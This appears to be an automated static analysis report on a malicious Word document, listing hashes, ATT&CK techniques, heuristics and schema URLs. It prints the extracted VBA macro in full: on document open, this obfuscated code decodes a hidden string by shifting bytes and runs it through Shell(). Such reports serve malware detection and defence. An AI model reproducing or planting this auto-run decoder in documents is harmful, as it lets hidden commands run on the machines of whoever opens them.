Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9799cf7a91c88619…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2020-05-18 20:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 0e57b6c3a8333966a2380715ca317e32 SHA-1: e690e9aa61b8aedf6fa0cb537b591ba10355cb86 SHA-256: 9799cf7a91c88619114f936b43a1e9817bb772a0c2963a619b69cf4899e6c5bb
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro. The macro is triggered by the Document_Open event and uses the Shell() function to execute a command. This indicates the document is designed to download and execute a second-stage payload. The specific payload or its destination could not be determined from the provided evidence.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2941 bytes
SHA-256: c0ae45da4858d96b56bd14c89756ee4be6b7f3c09b3c5691afaa38bd9ca18d39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Hillary(ByVal Fenian As String)






                 




                                                                Dim Featherbone As Long: Dim ConCluder() As Byte





               GoTo Cantoris
Canorousness:







                                                                            







                                                                




                                                                            For Featherbone = 0 To UBound(ConCluder)
ConCluder(Featherbone) = ConCluder(Featherbone) - 13
Next








                                                                    GoTo Solano








                  




                 







                                                            Exit Sub








Undiminished:





                                                                            




                                        Shell Fenian







            







                                                                        Exit Sub
Cantoris:





                                                                    




           






                                                                            




             ConCluder = StrConv(Fenian, 128)





               




                                                                            GoTo Canorousness
Exit Sub







          







                                                                    




                  




                                                    







Solano:
Fenian = StrConv(ConCluder, 64)






              GoTo Undiminished
Exit Sub





                 End Sub








                                                                Private Sub Phonetist()






          Dim Fenian As String: Fenian = ActiveDocument.Variables("f1d731fb627").Value






            






               







                                                                        Hillary Fenian







                                                                            





              




               End Sub





           






                                                    Sub Document_Open()






             






                                                
Call Phonetist
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 5e7733f2512b21dba875f8a4156d91c31ff5a0c9f9bad366583c194e1f6b66e5